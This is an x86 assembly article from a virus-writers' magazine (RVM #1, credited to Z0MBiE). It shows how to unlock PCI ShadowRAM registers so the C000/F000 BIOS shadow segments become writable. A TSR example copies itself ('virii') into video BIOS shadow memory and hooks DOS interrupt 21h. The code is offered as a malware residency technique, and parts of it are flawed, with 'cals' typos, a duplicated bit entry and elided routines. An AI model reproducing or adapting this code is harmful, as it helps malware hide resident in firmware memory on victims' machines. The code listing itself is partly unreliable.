ShadowRAM Technology (c) Z0MBiE
; ======================== ShadowRAM Map: ============================
; 00x? xxxx xxxx xxxx sh_R (readable)
; 00x? xxxx xxxx xxxx sh_W (writeable)
; 00x? xxxx xxxx xxxx sh_C (cacheable)
; 00x? xxxx xxxx xxxx sh_X (reserved)
;
; bit 15: unused (0)
; bit 14: unused (0)
; bit 13: F000, 64k
; bit 12: reserved
; bit 11: C000, 16k
; bit 10: C400, 16k
; bit 09: C800, 16k
; bit 08: CC00, 16k
; bit 07: D000, 16k
; bit 06: D400, 16k
; bit 05: D800, 16k
; bit 04: DC00, 16k
; bit 03: E000, 16k
; bit 02: E400, 16k
; bit 01: E800, 16k
; bit 08: EC00, 16k
; ======================== PCI registers manager =====================
read_cf8:
cf8_read: mov ax, 8000h
shl eax, 10h
mov ax, cx
and al, not 3
mov dx, 0CF8h
out dx, eax
add dl, 4
mov al, cl
and al, 3
add dl, al
in al, dx
ret
write_cf8:
cf8_write: xchg ax, cx
shl ecx, 10h
xchg ax, cx
mov ax, 8000h
shl eax, 10h
mov ax, cx
and al, not 3
mov dx, 0CF8h
out dx, eax
add dl, 4
mov al, cl
and al, 3
add dl, al
shr ecx, 10h
mov ax, cx
out dx, al
ret
; ======================== ShadowRAM manager: ========================
sh_R equ BX
sh_W equ CX
sh_C equ DX
sh_X equ SI
seg_all equ 0010111111111111b
seg_F000_64k equ 0010000000000000b
seg_C000_64k equ 0000111100000000b
seg_C000_32k equ 0000110000000000b
seg_C800_32k equ 0000001100000000b
seg_C000_16k equ 0000100000000000b
seg_C400_16k equ 0000010000000000b
seg_C800_16k equ 0000001000000000b
seg_CC00_16k equ 0000000100000000b
seg_D000_64k equ 0000000011110000b
seg_D000_32k equ 0000000011000000b
seg_D800_32k equ 0000000000110000b
seg_D000_16k equ 0000000010000000b
seg_D400_16k equ 0000000001000000b
seg_D800_16k equ 0000000000100000b
seg_DC00_16k equ 0000000000010000b
seg_E000_64k equ 0000000000001111b
seg_E000_32k equ 0000000000001100b
seg_E800_32k equ 0000000000000011b
seg_E000_16k equ 0000000000001000b
seg_E400_16k equ 0000000000000100b
seg_E800_16k equ 0000000000000010b
seg_EC00_16k equ 0000000000000001b
get_sh_state: mov di, 0059h
@@1: push cx dx
mov cx, di
call cf8_read
pop dx cx
mov ah, 2
@@2: shl al, 1
rcl si, 1
shl al, 1
rcl dx, 1
shl al, 1
rcl cx, 1
shl al, 1
rcl bx, 1
dec ah
jnz @@2
inc di
cmp di, 005fh
jbe @@1
ret
set_sh_state: mov di, 005Fh
@@1: mov ah, 2
@@2: shr bx, 1
rcr al, 1
shr cx, 1
rcr al, 1
shr dx, 1
rcr al, 1
shr si, 1
rcr al, 1
dec ah
jnz @@2
push cx dx
mov cx, di
call cf8_write
pop dx cx
dec di
cmp di, 0059h
jae @@1
ret
; ======================== Example ===================================
; Enable write to segments C000 & F000
enableC000F000:
call get_sh_state
or sh_W, seg_C000_32k + seg_F000_64k
cals set_sh_state
ret
; Disable write to segments C000 & F000
disableC000F000:
call get_sh_state
and sh_W, not (seg_C000_32k + seg_F000_64k)
cals set_sh_state
ret
; ======================== TSR in ShadowRAM: Example =================
; to compile: tasm /m filename
; tlink /t /x filename
.model tpascal
.386
.code
assume ds:code
locals @@
org 100h
start:
mov ax, 0c000h ; check if alredy resident
xor cx, cx
int 21h
jcxz @@1
@@exit: int 20h
@@1: mov ax, 3521h
int 21h
mov word ptr old21 + 0, bx
mov word ptr old21 + 2, es
mov ax, 1130h ; es:bp = pointer to font 8x14
mov bh, 02h
int 10h
mov ax, es
cmp ax, 0C000h
jne @@exit
add bp, 15 ; convert ¢ es:bp to Cxxx:0100h
and bp, 0fff0h
mov ax, es
mov bx, bp
shr bx, 4
add ax, bx
sub ax, 16
mov es, ax
mov bp, 100h
call c000_enable ; enable C000
mov di, bp ; es:di
lea si, start ; write virii to memory
mov cx, codesize
cld
rep movsb
call c000_disable ; disable C000
mov ax, 2521h ; set our int
push es
pop ds
lea dx, int21
int 21h
int 20h ; yes!
; ========================= Another way of ShadowRAM management =======
f000_enable: mov cx, 0059h ; f000, 64k
mov bx, 308fh ; warning: last 16k used by QEMM !
call cf8_io ;
ret
f000_disable: mov cx, 0059h ; f000, 64k
mov bx, 108fh
call cf8_io
ret
c000_enable: mov cx, 005ah ; c000, 32k
mov bx, 33cch
call cf8_io
ret
c000_disable: mov cx, 005ah ; c000, 32k
mov bx, 11cch
call cf8_io
ret
cf8_io: cli
call cf8_read
and al, bl
or al, bh
call cf8_write
ret
cf8_read: ...
cf8_write: ...
; resident part
tsr: nop
int21: cmp ax, 0c000h
je axc000
db 0eah
old21 dd ?
axc000: inc cx
iret
codesize equ $-start
end start
;) RVM #1 Russian Virus Magazine